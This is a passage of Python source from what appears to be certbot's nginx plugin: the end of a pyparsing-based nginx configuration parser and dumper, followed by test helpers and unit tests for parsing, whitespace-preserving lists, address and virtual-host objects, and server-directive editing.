        Group(map_statement).leaveWhitespace() +
        left_bracket +
        Group(ZeroOrMore(Group(comment | map_entry)) + space).leaveWhitespace() +
        right_bracket)

    block = Forward()

    # key could for instance be "server" or "http", or "location" (in which case
    # location_statement needs to have a non-empty location)

    block_begin = (Group(space + key + location_statement) ^
                   Group(if_statement) ^
                   Group(charset_map_statement)).leaveWhitespace()

    block_innards = Group(ZeroOrMore(Group(comment | assignment) | block | map_block)
                          + space).leaveWhitespace()

    block << Group(block_begin + left_bracket + block_innards + right_bracket)

    script = OneOrMore(Group(comment | assignment) ^ block ^ map_block) + space + stringEnd
    script.parseWithTabs().leaveWhitespace()

    def __init__(self, source):
        self.source = source

    def parse(self):
        """Returns the parsed tree."""
        return self.script.parseString(self.source)

    def as_list(self):
        """Returns the parsed tree as a list."""
        return self.parse().asList()

class RawNginxDumper(object):
    # pylint: disable=too-few-public-methods
    """A class that dumps nginx configuration from the provided tree."""
    def __init__(self, blocks):
        self.blocks = blocks

    def __iter__(self, blocks=None):
        """Iterates the dumped nginx content."""
        blocks = blocks or self.blocks
        for b0 in blocks:
            if isinstance(b0, str):
                yield b0
                continue
            b = copy.deepcopy(b0)
            if spacey(b[0]):
                yield b.pop(0) # indentation
                if not b:
                    continue
            key, values = b.pop(0), b.pop(0)

            if isinstance(key, list):
                yield "".join(key) + '{'
                for parameter in values:
                    for line in self.__iter__([parameter]): # negate "for b0 in blocks"
                        yield line
                yield '}'
            else:
                if isinstance(key, str) and key.strip() == '#':  # comment
                    yield key + values
                else:                                            # assignment
                    gap = ""
                    # Sometimes the parser has stuck some gap whitespace in here;
                    # if so rotate it into gap
                    if values and spacey(values):
                        gap = values
                        values = b.pop(0)
                    yield key + gap + values + ';'

    def __str__(self):
        """Return the parsed block as a string."""
        return ''.join(self)


# Shortcut functions to respect Python's serialization interface
# (like pyyaml, picker or json)

def loads(source):
    """Parses from a string.

    :param str souce: The string to parse
    :returns: The parsed tree
    :rtype: list

    """
    return UnspacedList(RawNginxParser(source).as_list())


def load(_file):
    """Parses from a file.

    :param file _file: The file to parse
    :returns: The parsed tree
    :rtype: list

    """
    return loads(_file.read())


def dumps(blocks):
    """Dump to a string.

    :param UnspacedList block: The parsed tree
    :param int indentation: The number of spaces to indent
    :rtype: str

    """
    return str(RawNginxDumper(blocks.spaced))


def dump(blocks, _file):
    """Dump to a file.

    :param UnspacedList block: The parsed tree
    :param file _file: The file to dump to
    :param int indentation: The number of spaces to indent
    :rtype: NoneType

    """
    return _file.write(dumps(blocks))


spacey = lambda x: (isinstance(x, str) and x.isspace()) or x == ''

class UnspacedList(list):
    """Wrap a list [of lists], making any whitespace entries magically invisible"""

    def __init__(self, list_source):
        # ensure our argument is not a generator, and duplicate any sublists
        self.spaced = copy.deepcopy(list(list_source))
        self.dirty = False

        # Turn self into a version of the source list that has spaces removed
        # and all sub-lists also UnspacedList()ed
        list.__init__(self, list_source)
        for i, entry in reversed(list(enumerate(self))):
            if isinstance(entry, list):
                sublist = UnspacedList(entry)
                list.__setitem__(self, i, sublist)
                self.spaced[i] = sublist.spaced
            elif spacey(entry):
                # don't delete comments
                if "#" not in self[:i]:
                    list.__delitem__(self, i)

    def _coerce(self, inbound):
        """
        Coerce some inbound object to be appropriately usable in this object

        :param inbound: string or None or list or UnspacedList
        :returns: (coerced UnspacedList or string or None, spaced equivalent)
        :rtype: tuple

        """
        if not isinstance(inbound, list):                      # str or None
            return (inbound, inbound)
        else:
            if not hasattr(inbound, "spaced"):
                inbound = UnspacedList(inbound)
            return (inbound, inbound.spaced)


    def insert(self, i, x):
        item, spaced_item = self._coerce(x)
        slicepos = self._spaced_position(i) if i < len(self) else len(self.spaced)
        self.spaced.insert(slicepos, spaced_item)
        list.insert(self, i, item)
        self.dirty = True

    def append(self, x):
        item, spaced_item = self._coerce(x)
        self.spaced.append(spaced_item)
        list.append(self, item)
        self.dirty = True

    def extend(self, x):
        item, spaced_item = self._coerce(x)
        self.spaced.extend(spaced_item)
        list.extend(self, item)
        self.dirty = True

    def __add__(self, other):
        l = copy.deepcopy(self)
        l.extend(other)
        l.dirty = True
        return l

    def pop(self, _i=None):
        raise NotImplementedError("UnspacedList.pop() not yet implemented")
    def remove(self, _):
        raise NotImplementedError("UnspacedList.remove() not yet implemented")
    def reverse(self):
        raise NotImplementedError("UnspacedList.reverse() not yet implemented")
    def sort(self, _cmp=None, _key=None, _Rev=None):
        raise NotImplementedError("UnspacedList.sort() not yet implemented")
    def __setslice__(self, _i, _j, _newslice):
        raise NotImplementedError("Slice operations on UnspacedLists not yet implemented")

    def __setitem__(self, i, value):
        if isinstance(i, slice):
            raise NotImplementedError("Slice operations on UnspacedLists not yet implemented")
        item, spaced_item = self._coerce(value)
        self.spaced.__setitem__(self._spaced_position(i), spaced_item)
        list.__setitem__(self, i, item)
        self.dirty = True

    def __delitem__(self, i):
        self.spaced.__delitem__(self._spaced_position(i))
        list.__delitem__(self, i)
        self.dirty = True

    def __deepcopy__(self, memo):
        l = UnspacedList(self[:])
        l.spaced = copy.deepcopy(self.spaced, memo=memo)
        l.dirty = self.dirty
        return l

    def is_dirty(self):
        """Recurse through the parse tree to figure out if any sublists are dirty"""
        if self.dirty:
            return True
        return any((isinstance(x, list) and x.is_dirty() for x in self))

    def _spaced_position(self, idx):
        "Convert from indexes in the unspaced list to positions in the spaced one"
        pos = spaces = 0
        # Normalize indexes like list[-1] etc, and save the result
        if idx < 0:
            idx = len(self) + idx
        if not 0 <= idx < len(self):
            raise IndexError("list index out of range")
        idx0 = idx
        # Count the number of spaces in the spaced list before idx in the unspaced one
        while idx != -1:
            if spacey(self.spaced[pos]):
                spaces += 1
            else:
                idx -= 1
            pos += 1
        return idx0 + spaces






"""Common utilities for certbot_nginx."""
import copy
import os
import pkg_resources
import unittest

import mock
import zope.component

from acme import jose

from certbot import configuration

from certbot.tests import test_util

from certbot.plugins import common

from certbot_nginx import constants
from certbot_nginx import configurator
from certbot_nginx import nginxparser


class NginxTest(unittest.TestCase):  # pylint: disable=too-few-public-methods

    def setUp(self):
        super(NginxTest, self).setUp()

        self.temp_dir, self.config_dir, self.work_dir = common.dir_setup(
            "etc_nginx", "certbot_nginx.tests")

        self.ssl_options = common.setup_ssl_options(
            self.config_dir, constants.MOD_SSL_CONF_SRC,
            constants.MOD_SSL_CONF_DEST)

        self.config_path = os.path.join(self.temp_dir, "etc_nginx")

        self.rsa512jwk = jose.JWKRSA.load(test_util.load_vector(
            "rsa512_key.pem"))


def get_data_filename(filename):
    """Gets the filename of a test data file."""
    return pkg_resources.resource_filename(
        "certbot_nginx.tests", os.path.join(
            "testdata", "etc_nginx", filename))


def get_nginx_configurator(
        config_path, config_dir, work_dir, version=(1, 6, 2)):
    """Create an Nginx Configurator with the specified options."""

    backups = os.path.join(work_dir, "backups")

    with mock.patch("certbot_nginx.configurator.NginxConfigurator."
                    "config_test"):
        with mock.patch("certbot_nginx.configurator.util."
                        "exe_exists") as mock_exe_exists:
            mock_exe_exists.return_value = True
            config = configurator.NginxConfigurator(
                config=mock.MagicMock(
                    nginx_server_root=config_path,
                    le_vhost_ext="-le-ssl.conf",
                    config_dir=config_dir,
                    work_dir=work_dir,
                    backup_dir=backups,
                    temp_checkpoint_dir=os.path.join(work_dir, "temp_checkpoints"),
                    in_progress_dir=os.path.join(backups, "IN_PROGRESS"),
                    server="https://acme-server.org:443/new",
                    tls_sni_01_port=5001,
                ),
                name="nginx",
                version=version)
            config.prepare()

    # Provide general config utility.
    nsconfig = configuration.NamespaceConfig(config.config)
    zope.component.provideUtility(nsconfig)

    return config


def filter_comments(tree):
    """Filter comment nodes from parsed configurations."""

    def traverse(tree):
        """Generator dropping comment nodes"""
        for entry in tree:
            # key, values = entry
            spaceless = [e for e in entry if not nginxparser.spacey(e)]
            if spaceless:
                key = spaceless[0]
                values = spaceless[1] if len(spaceless) > 1 else None
            else:
                key = values = ""
            if isinstance(key, list):
                new = copy.deepcopy(entry)
                new[1] = filter_comments(values)
                yield new
            else:
                if key != '#' and spaceless:
                    yield spaceless

    return list(traverse(tree))


def contains_at_depth(haystack, needle, n):
    """Is the needle in haystack at depth n?

    Return true if the needle is present in one of the sub-iterables in haystack
    at depth n. Haystack must be an iterable.
    """
    # Specifically use hasattr rather than isinstance(..., collections.Iterable)
    # because we want to include lists but reject strings.
    if not hasattr(haystack, '__iter__'):
        return False
    if n == 0:
        return needle in haystack
    else:
        for item in haystack:
            if contains_at_depth(item, needle, n - 1):
                return True
        return False






"""Test for certbot_nginx.nginxparser."""
import copy
import operator
import os
import unittest

from pyparsing import ParseException

from certbot_nginx.nginxparser import (
    RawNginxParser, loads, load, dumps, dump, UnspacedList)
from certbot_nginx.tests import util


FIRST = operator.itemgetter(0)


class TestRawNginxParser(unittest.TestCase):
    """Test the raw low-level Nginx config parser."""

    def test_assignments(self):
        parsed = RawNginxParser.assignment.parseString('root /test;').asList()
        self.assertEqual(parsed, ['root', ' ', '/test'])
        parsed = RawNginxParser.assignment.parseString('root /test;foo bar;').asList()
        self.assertEqual(parsed, ['root', ' ', '/test'], ['foo', ' ', 'bar'])

    def test_blocks(self):
        parsed = RawNginxParser.block.parseString('foo {}').asList()
        self.assertEqual(parsed, [[['foo', ' '], []]])
        parsed = RawNginxParser.block.parseString('location /foo{}').asList()
        self.assertEqual(parsed, [[['location', ' ', '/foo'], []]])
        parsed = RawNginxParser.block.parseString('foo { bar foo ; }').asList()
        self.assertEqual(parsed, [[['foo', ' '], [[' ', 'bar', ' ', 'foo '], ' ']]])

    def test_nested_blocks(self):
        parsed = RawNginxParser.block.parseString('foo { bar {} }').asList()
        block, content = FIRST(parsed)
        self.assertEqual(FIRST(content), [[' ', 'bar', ' '], []])
        self.assertEqual(FIRST(block), 'foo')

    def test_dump_as_string(self):
        dumped = dumps(UnspacedList([
            ['user', ' ', 'www-data'],
            [['\n', 'server', ' '], [
                ['\n    ', 'listen', ' ', '80'],
                ['\n    ', 'server_name', ' ', 'foo.com'],
                ['\n    ', 'root', ' ', '/home/ubuntu/sites/foo/'],
                [['\n\n    ', 'location', ' ', '/status', ' '], [
                    ['\n        ', 'check_status', ''],
                    [['\n\n        ', 'types', ' '],
                    [['\n            ', 'image/jpeg', ' ', 'jpg']]],
                ]]
            ]]]))

        self.assertEqual(dumped.split('\n'),
                         'user www-data;\n'
                         'server {\n'
                         '    listen 80;\n'
                         '    server_name foo.com;\n'
                         '    root /home/ubuntu/sites/foo/;\n'
                         '\n'
                         '    location /status {\n'
                         '        check_status;\n'
                         '\n'
                         '        types {\n'
                         '            image/jpeg jpg;}}}'.split('\n'))

    def test_parse_from_file(self):
        with open(util.get_data_filename('foo.conf')) as handle:
            parsed = util.filter_comments(load(handle))
        self.assertEqual(
            parsed,
            [['user', 'www-data'],
             [['http'],
              [[['server'], [
                  ['listen', '*:80 default_server ssl'],
                  ['server_name', '*.www.foo.com *.www.example.com'],
                  ['root', '/home/ubuntu/sites/foo/'],
                  [['location', '/status'], [
                      [['types'], [['image/jpeg', 'jpg']]],
                  ]],
                  [['location', '~', r'case_sensitive\.php$'], [
                      ['index', 'index.php'],
                      ['root', '/var/root'],
                  ]],
                  [['location', '~*', r'case_insensitive\.php$'], []],
                  [['location', '=', r'exact_match\.php$'], []],
                  [['location', '^~', r'ignore_regex\.php$'], []]
              ]]]]]
        )

    def test_parse_from_file2(self):
        with open(util.get_data_filename('edge_cases.conf')) as handle:
            parsed = util.filter_comments(load(handle))
        self.assertEqual(
            parsed,
            [[['server'], [['server_name', 'simple']]],
             [['server'],
              [['server_name', 'with.if'],
               [['location', '~', '^/services/.+$'],
                [[['if', '($request_filename ~* \\.(ttf|woff)$)'],
                  [['add_header', 'Access-Control-Allow-Origin "*"']]]]]]],
             [['server'],
              [['server_name', 'with.complicated.headers'],
               [['location', '~*', '\\.(?:gif|jpe?g|png)$'],
                [['add_header', 'Pragma public'],
                 ['add_header',
                  'Cache-Control  \'public, must-revalidate, proxy-revalidate\''
                  ' "test,;{}" foo'],
                 ['blah', '"hello;world"'],
                 ['try_files', '$uri @rewrites']]]]]])

    def test_abort_on_parse_failure(self):
        with open(util.get_data_filename('broken.conf')) as handle:
            self.assertRaises(ParseException, load, handle)

    def test_dump_as_file(self):
        with open(util.get_data_filename('nginx.conf')) as handle:
            parsed = load(handle)
        parsed[-1][-1].append(UnspacedList([['server'],
                               [['listen', ' ', '443 ssl'],
                                ['server_name', ' ', 'localhost'],
                                ['ssl_certificate', ' ', 'cert.pem'],
                                ['ssl_certificate_key', ' ', 'cert.key'],
                                ['ssl_session_cache', ' ', 'shared:SSL:1m'],
                                ['ssl_session_timeout', ' ', '5m'],
                                ['ssl_ciphers', ' ', 'HIGH:!aNULL:!MD5'],
                                [['location', ' ', '/'],
                                 [['root', ' ', 'html'],
                                  ['index', ' ', 'index.html index.htm']]]]]))

        with open(util.get_data_filename('nginx.new.conf'), 'w') as handle:
            dump(parsed, handle)
        with open(util.get_data_filename('nginx.new.conf')) as handle:
            parsed_new = load(handle)
        try:
            self.maxDiff = None
            self.assertEqual(parsed[0], parsed_new[0])
            self.assertEqual(parsed[1:], parsed_new[1:])
        finally:
            os.unlink(util.get_data_filename('nginx.new.conf'))

    def test_comments(self):
        with open(util.get_data_filename('minimalistic_comments.conf')) as handle:
            parsed = load(handle)

        with open(util.get_data_filename('minimalistic_comments.new.conf'), 'w') as handle:
            dump(parsed, handle)

        with open(util.get_data_filename('minimalistic_comments.new.conf')) as handle:
            parsed_new = load(handle)

        try:
            self.assertEqual(parsed, parsed_new)

            self.assertEqual(parsed_new, [
                ['#', " Use bar.conf when it's a full moon!"],
                ['include', 'foo.conf'],
                ['#', ' Kilroy was here'],
                ['check_status'],
                [['server'],
                 [['#', ''],
                  ['#', " Don't forget to open up your firewall!"],
                  ['#', ''],
                  ['listen', '1234'],
                  ['#', ' listen 80;']]],
            ])
        finally:
            os.unlink(util.get_data_filename('minimalistic_comments.new.conf'))

    def test_issue_518(self):
        parsed = loads('if ($http_accept ~* "webp") { set $webp "true"; }')

        self.assertEqual(parsed, [
            [['if', '($http_accept ~* "webp")'],
             [['set', '$webp "true"']]]
        ])

class TestUnspacedList(unittest.TestCase):
    """Test the UnspacedList data structure"""
    def setUp(self):
        self.a = ["\n    ", "things", " ", "quirk"]
        self.b = ["y", " "]
        self.l = self.a[:]
        self.l2 = self.b[:]
        self.ul = UnspacedList(self.l)
        self.ul2 = UnspacedList(self.l2)

    def test_construction(self):
        self.assertEqual(self.ul, ["things", "quirk"])
        self.assertEqual(self.ul2, ["y"])

    def test_append(self):
        ul3 = copy.deepcopy(self.ul)
        ul3.append("wise")
        self.assertEqual(ul3, ["things", "quirk", "wise"])
        self.assertEqual(ul3.spaced, self.a + ["wise"])

    def test_add(self):
        ul3 = self.ul + self.ul2
        self.assertEqual(ul3, ["things", "quirk", "y"])
        self.assertEqual(ul3.spaced, self.a + self.b)
        self.assertEqual(self.ul.spaced, self.a)
        ul3 = self.ul + self.l2
        self.assertEqual(ul3, ["things", "quirk", "y"])
        self.assertEqual(ul3.spaced, self.a + self.b)

    def test_extend(self):
        ul3 = copy.deepcopy(self.ul)
        ul3.extend(self.ul2)
        self.assertEqual(ul3, ["things", "quirk", "y"])
        self.assertEqual(ul3.spaced, self.a + self.b)
        self.assertEqual(self.ul.spaced, self.a)

    def test_set(self):
        ul3 = copy.deepcopy(self.ul)
        ul3[0] = "zither"
        l = ["\n ", "zather", "zest"]
        ul3[1] = UnspacedList(l)
        self.assertEqual(ul3, ["zither", ["zather", "zest"]])
        self.assertEqual(ul3.spaced, [self.a[0], "zither", " ", l])

    def test_get(self):
        self.assertRaises(IndexError, self.ul2.__getitem__, 2)
        self.assertRaises(IndexError, self.ul2.__getitem__, -3)

    def test_insert(self):
        x = UnspacedList(
                [['\n    ', 'listen', '       ', '69.50.225.155:9000'],
                ['\n    ', 'listen', '       ', '127.0.0.1'],
                ['\n    ', 'server_name', ' ', '.example.com'],
                ['\n    ', 'server_name', ' ', 'example.*'], '\n',
                ['listen', ' ', '5001 ssl']])
        x.insert(5, "FROGZ")
        self.assertEqual(x,
            [['listen', '69.50.225.155:9000'], ['listen', '127.0.0.1'],
            ['server_name', '.example.com'], ['server_name', 'example.*'],
            ['listen', '5001 ssl'], 'FROGZ'])
        self.assertEqual(x.spaced,
            [['\n    ', 'listen', '       ', '69.50.225.155:9000'],
            ['\n    ', 'listen', '       ', '127.0.0.1'],
            ['\n    ', 'server_name', ' ', '.example.com'],
            ['\n    ', 'server_name', ' ', 'example.*'], '\n',
            ['listen', ' ', '5001 ssl'],
            'FROGZ'])

    def test_rawlists(self):
        ul3 = copy.deepcopy(self.ul)
        ul3.insert(0, "some")
        ul3.append("why")
        ul3.extend(["did", "whether"])
        del ul3[2]
        self.assertEqual(ul3, ["some", "things", "why", "did", "whether"])

    def test_is_dirty(self):
        self.assertEqual(False, self.ul2.is_dirty())
        ul3 = UnspacedList([])
        ul3.append(self.ul)
        self.assertEqual(False, self.ul.is_dirty())
        self.assertEqual(True, ul3.is_dirty())
        ul4 = UnspacedList([[1], [2, 3, 4]])
        self.assertEqual(False, ul4.is_dirty())
        ul4[1][2] = 5
        self.assertEqual(True, ul4.is_dirty())


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Test the helper objects in certbot_nginx.obj."""
import unittest


class AddrTest(unittest.TestCase):
    """Test the Addr class."""
    def setUp(self):
        from certbot_nginx.obj import Addr
        self.addr1 = Addr.fromstring("192.168.1.1")
        self.addr2 = Addr.fromstring("192.168.1.1:* ssl")
        self.addr3 = Addr.fromstring("192.168.1.1:80")
        self.addr4 = Addr.fromstring("*:80 default_server ssl")
        self.addr5 = Addr.fromstring("myhost")
        self.addr6 = Addr.fromstring("80 default_server spdy")
        self.addr7 = Addr.fromstring("unix:/var/run/nginx.sock")

    def test_fromstring(self):
        self.assertEqual(self.addr1.get_addr(), "192.168.1.1")
        self.assertEqual(self.addr1.get_port(), "")
        self.assertFalse(self.addr1.ssl)
        self.assertFalse(self.addr1.default)

        self.assertEqual(self.addr2.get_addr(), "192.168.1.1")
        self.assertEqual(self.addr2.get_port(), "*")
        self.assertTrue(self.addr2.ssl)
        self.assertFalse(self.addr2.default)

        self.assertEqual(self.addr3.get_addr(), "192.168.1.1")
        self.assertEqual(self.addr3.get_port(), "80")
        self.assertFalse(self.addr3.ssl)
        self.assertFalse(self.addr3.default)

        self.assertEqual(self.addr4.get_addr(), "*")
        self.assertEqual(self.addr4.get_port(), "80")
        self.assertTrue(self.addr4.ssl)
        self.assertTrue(self.addr4.default)

        self.assertEqual(self.addr5.get_addr(), "myhost")
        self.assertEqual(self.addr5.get_port(), "")
        self.assertFalse(self.addr5.ssl)
        self.assertFalse(self.addr5.default)

        self.assertEqual(self.addr6.get_addr(), "")
        self.assertEqual(self.addr6.get_port(), "80")
        self.assertFalse(self.addr6.ssl)
        self.assertTrue(self.addr6.default)

        self.assertEqual(None, self.addr7)

    def test_str(self):
        self.assertEqual(str(self.addr1), "192.168.1.1")
        self.assertEqual(str(self.addr2), "192.168.1.1:* ssl")
        self.assertEqual(str(self.addr3), "192.168.1.1:80")
        self.assertEqual(str(self.addr4), "*:80 default_server ssl")
        self.assertEqual(str(self.addr5), "myhost")
        self.assertEqual(str(self.addr6), "80 default_server")

    def test_eq(self):
        from certbot_nginx.obj import Addr
        new_addr1 = Addr.fromstring("192.168.1.1 spdy")
        self.assertEqual(self.addr1, new_addr1)
        self.assertNotEqual(self.addr1, self.addr2)
        self.assertFalse(self.addr1 == 3333)

    def test_set_inclusion(self):
        from certbot_nginx.obj import Addr
        set_a = set([self.addr1, self.addr2])
        addr1b = Addr.fromstring("192.168.1.1")
        addr2b = Addr.fromstring("192.168.1.1:* ssl")
        set_b = set([addr1b, addr2b])

        self.assertEqual(set_a, set_b)


class VirtualHostTest(unittest.TestCase):
    """Test the VirtualHost class."""
    def setUp(self):
        from certbot_nginx.obj import VirtualHost
        from certbot_nginx.obj import Addr
        self.vhost1 = VirtualHost(
            "filep",
            set([Addr.fromstring("localhost")]), False, False,
            set(['localhost']), [])

    def test_eq(self):
        from certbot_nginx.obj import Addr
        from certbot_nginx.obj import VirtualHost
        vhost1b = VirtualHost(
            "filep",
            set([Addr.fromstring("localhost blah")]), False, False,
            set(['localhost']), [])

        self.assertEqual(vhost1b, self.vhost1)
        self.assertEqual(str(vhost1b), str(self.vhost1))
        self.assertFalse(vhost1b == 1234)

    def test_str(self):
        stringified = '\n'.join(['file: filep', 'addrs: localhost',
                                 "names: set(['localhost'])", 'ssl: False',
                                 'enabled: False'])
        self.assertEqual(stringified, str(self.vhost1))


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot_nginx.parser."""
import glob
import os
import re
import shutil
import unittest

from certbot import errors

from certbot_nginx import nginxparser
from certbot_nginx import obj
from certbot_nginx import parser
from certbot_nginx.tests import util


class NginxParserTest(util.NginxTest):
    """Nginx Parser Test."""

    def setUp(self):
        super(NginxParserTest, self).setUp()

    def tearDown(self):
        shutil.rmtree(self.temp_dir)
        shutil.rmtree(self.config_dir)
        shutil.rmtree(self.work_dir)

    def test_root_normalized(self):
        path = os.path.join(self.temp_dir, "etc_nginx/////"
                            "ubuntu_nginx/../../etc_nginx")
        nparser = parser.NginxParser(path, None)
        self.assertEqual(nparser.root, self.config_path)

    def test_root_absolute(self):
        nparser = parser.NginxParser(os.path.relpath(self.config_path), None)
        self.assertEqual(nparser.root, self.config_path)

    def test_root_no_trailing_slash(self):
        nparser = parser.NginxParser(self.config_path + os.path.sep, None)
        self.assertEqual(nparser.root, self.config_path)

    def test_load(self):
        """Test recursive conf file parsing.

        """
        nparser = parser.NginxParser(self.config_path, self.ssl_options)
        nparser.load()
        self.assertEqual(set([nparser.abs_path(x) for x in
                              ['foo.conf', 'nginx.conf', 'server.conf',
                               'sites-enabled/default',
                               'sites-enabled/example.com']]),
                         set(nparser.parsed.keys()))
        self.assertEqual([['server_name', 'somename  alias  another.alias']],
                         nparser.parsed[nparser.abs_path('server.conf')])
        self.assertEqual([[['server'], [['listen', '69.50.225.155:9000'],
                                        ['listen', '127.0.0.1'],
                                        ['server_name', '.example.com'],
                                        ['server_name', 'example.*']]]],
                         nparser.parsed[nparser.abs_path(
                             'sites-enabled/example.com')])

    def test_abs_path(self):
        nparser = parser.NginxParser(self.config_path, self.ssl_options)
        self.assertEqual('/etc/nginx/*', nparser.abs_path('/etc/nginx/*'))
        self.assertEqual(os.path.join(self.config_path, 'foo/bar/'),
                         nparser.abs_path('foo/bar/'))

    def test_filedump(self):
        nparser = parser.NginxParser(self.config_path, self.ssl_options)
        nparser.filedump('test', lazy=False)
        # pylint: disable=protected-access
        parsed = nparser._parse_files(nparser.abs_path(
            'sites-enabled/example.com.test'))
        self.assertEqual(3, len(glob.glob(nparser.abs_path('*.test'))))
        self.assertEqual(2, len(
            glob.glob(nparser.abs_path('sites-enabled/*.test'))))
        self.assertEqual([[['server'], [['listen', '69.50.225.155:9000'],
                                        ['listen', '127.0.0.1'],
                                        ['server_name', '.example.com'],
                                        ['server_name', 'example.*']]]],
                         parsed[0])

    def test_get_vhosts(self):
        nparser = parser.NginxParser(self.config_path, self.ssl_options)
        vhosts = nparser.get_vhosts()

        vhost1 = obj.VirtualHost(nparser.abs_path('nginx.conf'),
                                 [obj.Addr('', '8080', False, False)],
                                 False, True,
                                 set(['localhost',
                                      r'~^(www\.)?(example|bar)\.']),
                                 [])
        vhost2 = obj.VirtualHost(nparser.abs_path('nginx.conf'),
                                 [obj.Addr('somename', '8080', False, False),
                                  obj.Addr('', '8000', False, False)],
                                 False, True,
                                 set(['somename', 'another.alias', 'alias']),
                                 [])
        vhost3 = obj.VirtualHost(nparser.abs_path('sites-enabled/example.com'),
                                 [obj.Addr('69.50.225.155', '9000',
                                           False, False),
                                  obj.Addr('127.0.0.1', '', False, False)],
                                 False, True,
                                 set(['.example.com', 'example.*']), [])
        vhost4 = obj.VirtualHost(nparser.abs_path('sites-enabled/default'),
                                 [obj.Addr('myhost', '', False, True)],
                                 False, True, set(['www.example.org']), [])
        vhost5 = obj.VirtualHost(nparser.abs_path('foo.conf'),
                                 [obj.Addr('*', '80', True, True)],
                                 True, True, set(['*.www.foo.com',
                                                  '*.www.example.com']), [])

        self.assertEqual(5, len(vhosts))
        example_com = [x for x in vhosts if 'example.com' in x.filep][0]
        self.assertEqual(vhost3, example_com)
        default = [x for x in vhosts if 'default' in x.filep][0]
        self.assertEqual(vhost4, default)
        fooconf = [x for x in vhosts if 'foo.conf' in x.filep][0]
        self.assertEqual(vhost5, fooconf)
        localhost = [x for x in vhosts if 'localhost' in x.names][0]
        self.assertEqual(vhost1, localhost)
        somename = [x for x in vhosts if 'somename' in x.names][0]
        self.assertEqual(vhost2, somename)

    def test_add_server_directives(self):
        nparser = parser.NginxParser(self.config_path, self.ssl_options)
        nparser.add_server_directives(nparser.abs_path('nginx.conf'),
                                      set(['localhost',
                                           r'~^(www\.)?(example|bar)\.']),
                                      [['foo', 'bar'], ['\n ', 'ssl_certificate', ' ',
                                                        '/etc/ssl/cert.pem']],
                                      replace=False)
        ssl_re = re.compile(r'\n\s+ssl_certificate /etc/ssl/cert.pem')
        dump = nginxparser.dumps(nparser.parsed[nparser.abs_path('nginx.conf')])
        self.assertEqual(1, len(re.findall(ssl_re, dump)))

        server_conf = nparser.abs_path('server.conf')
        names = set(['alias', 'another.alias', 'somename'])
        nparser.add_server_directives(server_conf, names,
                                      [['foo', 'bar'], ['ssl_certificate',
                                                        '/etc/ssl/cert2.pem']],
                                      replace=False)
        nparser.add_server_directives(server_conf, names, [['foo', 'bar']],
                                      replace=False)
        from certbot_nginx.parser import COMMENT
        self.assertEqual(nparser.parsed[server_conf],
                         [['server_name', 'somename  alias  another.alias'],
                          ['foo', 'bar'],
                          ['#', COMMENT],
                          ['ssl_certificate', '/etc/ssl/cert2.pem'],
                          ['#', COMMENT],
                          [], []
                          ])

    def test_add_http_directives(self):
        nparser = parser.NginxParser(self.config_path, self.ssl_options)
        filep = nparser.abs_path('nginx.conf')
        block = [['server'],
                 [['listen', '80'],
                  ['server_name', 'localhost']]]
        nparser.add_http_directives(filep, block)
        root = nparser.parsed[filep]
        self.assertTrue(util.contains_at_depth(root, ['http'], 1))
        self.assertTrue(util.contains_at_depth(root, block, 2))

        # Check that our server block got inserted first among all server
        # blocks.
        http_block = [x for x in root if x[0] == ['http']][0][1]
        server_blocks = [x for x in http_block if x[0] == ['server']]
        self.assertEqual(server_blocks[0], block)

    def test_replace_server_directives(self):
        nparser = parser.NginxParser(self.config_path, self.ssl_options)
        target = set(['.example.com', 'example.*'])
        filep = nparser.abs_path('sites-enabled/example.com')
        nparser.add_server_directives(
            filep, target, [['server_name', 'foobar.com']], replace=True)
        from certbot_nginx.parser import COMMENT
        self.assertEqual(
            nparser.parsed[filep],
            [[['server'], [['listen', '69.50.225.155:9000'],
                           ['listen', '127.0.0.1'],
                           ['server_name', 'foobar.com'], ['#', COMMENT],
                           ['server_name', 'example.*'], []
                           ]]])
        self.assertRaises(errors.MisconfigurationError,
                          nparser.add_server_directives,
                          filep, set(['foobar.com', 'example.*']),
                          [['ssl_certificate', 'cert.pem']],
                          replace=True)

    def test_get_best_match(self):
        target_name = 'www.eff.org'
        names = [set(['www.eff.org', 'irrelevant.long.name.eff.org', '*.org']),
                 set(['eff.org', 'ww2.eff.org', 'test.www.eff.org']),
                 set(['*.eff.org', '.www.eff.org']),
                 set(['.eff.org', '*.org']),
                 set(['www.eff.', 'www.eff.*', '*.www.eff.org']),
                 set(['example.com', r'~^(www\.)?(eff.+)', '*.eff.*']),
                 set(['*', r'~^(www\.)?(eff.+)']),
                 set(['www.*', r'~^(www\.)?(eff.+)', '.test.eff.org']),
                 set(['*.org', r'*.eff.org', 'www.eff.*']),
                 set(['*.www.eff.org', 'www.*']),
                 set(['*.org']),
                 set([]),
                 set(['example.com'])]
        winners = [('exact', 'www.eff.org'),
                   (None, None),
                   ('exact', '.www.eff.org'),
                   ('wildcard_start', '.eff.org'),
                   ('wildcard_end', 'www.eff.*'),
                   ('regex', r'~^(www\.)?(eff.+)'),
                   ('wildcard_start', '*'),
                   ('wildcard_end', 'www.*'),
                   ('wildcard_start', '*.eff.org'),
                   ('wildcard_end', 'www.*'),
                   ('wildcard_start', '*.org'),
                   (None, None),
                   (None, None)]

        for i, winner in enumerate(winners):
            self.assertEqual(winner,
                             parser.get_best_match(target_name, names[i]))

    def test_comment_directive(self):
        # pylint: disable=protected-access
        block = nginxparser.UnspacedList([
            ["\n", "a", " ", "b", "\n"],
            ["c", " ", "d"],
            ["\n", "e", " ", "f"]])
        from certbot_nginx.parser import _comment_directive, COMMENT_BLOCK
        _comment_directive(block, 1)
        _comment_directive(block, 0)
        self.assertEqual(block.spaced, [
            ["\n", "a", " ", "b", "\n"],
            COMMENT_BLOCK,
            "\n",
            ["c", " ", "d"],
            COMMENT_BLOCK,
            ["\n", "e", " ", "f"]])

    def test_get_all_certs_keys(self):
        nparser = parser.NginxParser(self.config_path, self.ssl_options)
        filep = nparser.abs_path('sites-enabled/example.com')
        nparser.add_server_directives(filep,
                                      set(['.example.com', 'example.*']),
                                      [['ssl_certificate', 'foo.pem'],
                                       ['ssl_certificate_key', 'bar.key'],
                                       ['listen', '443 ssl']],
                                      replace=False)
        c_k = nparser.get_all_certs_keys()
        self.assertEqual(set([('foo.pem', 'bar.key', filep)]), c_k)

    def test_parse_server_ssl(self):
        server = parser.parse_server([
            ['listen', '443']
        ])
        self.assertFalse(server['ssl'])

        server = parser.parse_server([
            ['listen', '443 ssl']
        ])
        self.assertTrue(server['ssl'])

        server = parser.parse_server([
